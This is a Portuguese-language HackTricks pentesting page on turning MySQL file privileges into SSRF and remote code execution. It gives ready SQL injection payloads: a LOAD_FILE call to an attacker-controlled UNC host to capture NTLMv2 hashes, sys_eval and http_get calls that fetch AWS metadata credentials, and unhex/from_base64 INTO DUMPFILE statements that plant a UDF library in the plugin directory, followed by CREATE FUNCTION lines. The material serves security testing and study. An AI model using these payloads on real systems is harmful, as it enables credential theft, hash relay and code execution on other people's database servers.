hacktricks/pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md

11 KiB

MySQL File priv para SSRF/RCE

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

LOAD_FILE/LOAD DATA/LOAD XML para SSRF

Todo artigo de exfiltração de dados SQL Out of Band usará a função de string LOAD_FILE() para fazer uma solicitação de rede. A função em si tem suas próprias limitações com base no sistema operacional em que é executada e nas configurações com as quais o banco de dados foi iniciado.

Por exemplo, se a variável global secure_file_priv não estiver definida, o valor padrão é definido como /var/lib/mysql-files/, o que significa que você só pode usar funções como LOAD_FILE('nome_do_arquivo') ou LOAD DATA [LOCAL] INFILE 'nome_do_arquivo' INTO TABLE nome_da_tabela para ler arquivos do diretório /var/lib/mysql-files/. Para poder realizar leituras em arquivos fora deste diretório, a opção secure_file_priv deve ser definida como "", o que só pode ser feito atualizando o arquivo de configuração do banco de dados ou passando o parâmetro de inicialização --secure_file_priv="" para o serviço de banco de dados.

No entanto, em circunstâncias em que secure_file_priv é definido como "", deveríamos ser capazes de ler outros arquivos no sistema, assumindo permissões de leitura de arquivo e file_priv definido como Y em mysql.user para o usuário do banco de dados atual. No entanto, ser capaz de usar essas funções para fazer chamadas de rede é muito dependente do sistema operacional. Como essas funções são construídas apenas para ler arquivos, as únicas chamadas relevantes para a rede que podem ser feitas são para caminhos UNC em hosts Windows, pois a API CreateFileA do Windows que é chamada ao acessar um arquivo entende as convenções de nomenclatura UNC.

Portanto, se o banco de dados de destino estiver sendo executado em uma máquina Windows, a consulta de injeção x'; SELECT LOAD_FILE('\\\\attackerserver.example.com\\a.txt'); -- // resultaria no envio da máquina Windows de hashes NTLMv2 na tentativa de autenticar com o \\attackerserver.example.com controlado pelo atacante.

Esse Server Side Request Forgery, embora útil, está restrito apenas à porta TCP 445. Você não pode controlar o número da porta, mas pode ler informações de compartilhamentos configurados com privilégios de leitura completos. Além disso, como foi mostrado em pesquisas anteriores, você pode usar essa capacidade limitada de SSRF para roubar hashes e transmiti-los para obter shells, então definitivamente é útil.

Funções Definidas pelo Usuário para RCE

Outra técnica interessante com bancos de dados MySQL é a capacidade de usar Funções Definidas pelo Usuário (UDF) presentes em arquivos de biblioteca externos que, se estiverem presentes em locais específicos ou no $PATH do sistema, podem ser acessados de dentro do MySQL.

Você pode usar uma Injeção de SQL para escrever uma biblioteca (.so ou .dll dependendo do Linux ou Windows), contendo uma Função Definida pelo Usuário que pode fazer solicitações de rede/HTTP, que podem ser então invocadas por meio de consultas adicionais.

Isso tem suas próprias restrições. Com base na versão do MySQL, que você pode identificar com select @@version, o diretório de onde os plugins podem ser carregados é restrito. O MySQL abaixo de v5.0.67 permitia que arquivos de biblioteca fossem carregados do caminho do sistema se a variável plugin_dir não estivesse definida. Isso mudou agora e versões mais recentes têm a variável plugin_dir definida como algo como /usr/lib/mysql/plugin/, que geralmente é de propriedade do root.

Basicamente, para carregar uma biblioteca personalizada no MySQL e chamar uma função da biblioteca carregada via Injeção de SQL, você precisaria:

  • ter a capacidade de gravar no local especificado em @@plugin_dir via Injeção de SQL
  • file_priv definido como Y em mysql.user para o usuário do banco de dados atual
  • secure_file_priv definido como "" para que você possa ler os bytes brutos da biblioteca de uma localização arbitrária, como a rede ou um diretório de uploads de arquivos em um aplicativo da web.

Supondo que as condições acima sejam atendidas, você pode usar a abordagem clássica de transferir a biblioteca UDF popular do MySQL lib_mysqludf_sys para o servidor de banco de dados. Você então seria capaz de fazer solicitações de comandos do sistema operacional como cURL ou powershell wget para realizar SSRF usando a sintaxe

x'; SELECT sys_eval('curl http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //

Existem muitas outras funções declaradas nesta biblioteca, uma análise das quais pode ser vista aqui. Se você é preguiçoso como eu, pode pegar uma cópia desta biblioteca UDF, para o sistema operacional de destino, de uma instalação do metasploit no diretório /usr/share/metasploit-framework/data/exploits/mysql/ e começar a usar.

Alternativamente, bibliotecas UDF foram criadas especificamente para fornecer ao banco de dados a capacidade de fazer solicitações HTTP. Você pode usar MySQL User-defined function (UDF) for HTTP GET/POST para fazer com que o banco de dados faça solicitações HTTP, usando a seguinte sintaxe

x'; SELECT http_get('http://169.254.169.254/latest/meta-data/iam/security-credentials/'); -- //

Você também pode criar sua própria UDF e usá-la para pós-exploração também. Em qualquer caso, você precisa transferir a biblioteca para o servidor de banco de dados. Você pode fazer isso de várias maneiras:

  1. Use a função de string hex() do MySQL ou algo como xxd -p filename.so | tr -d '\n' para converter o conteúdo da biblioteca para formato hexadecimal e, em seguida, despeje-o no diretório @@plugin_dir usando x'; SELECT unhex(0x1234abcd12abcdef1223.....) into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //
  2. Alternativamente, converta o conteúdo de filename.so para base64 e use x';select from_base64("AAAABB....") into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys.so' -- //

Se o @@plugin_dir não for gravável, você está sem sorte se a versão for superior a v5.0.67. Caso contrário, escreva em um local diferente que esteja no caminho e carregue a biblioteca UDF de lá usando:

  • para a biblioteca lib_mysqludf_sys - x';create function sys_eval returns string soname 'lib_mysqludf_sys.so'; -- //
  • para a biblioteca mysql-udf-http - x';create function http_get returns string soname 'mysql-udf-http.so'; -- //

Para automatizar isso, você pode usar o SQLMap, que suporta o uso de UDF personalizada por meio da opção --udf-inject.

Para Injeções de SQL Cego, você pode redirecionar a saída das funções UDF para uma tabela temporária e, em seguida, ler os dados de lá ou usar uma solicitação DNS embutida em um comando curl sys_eval ou sys_exec.

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥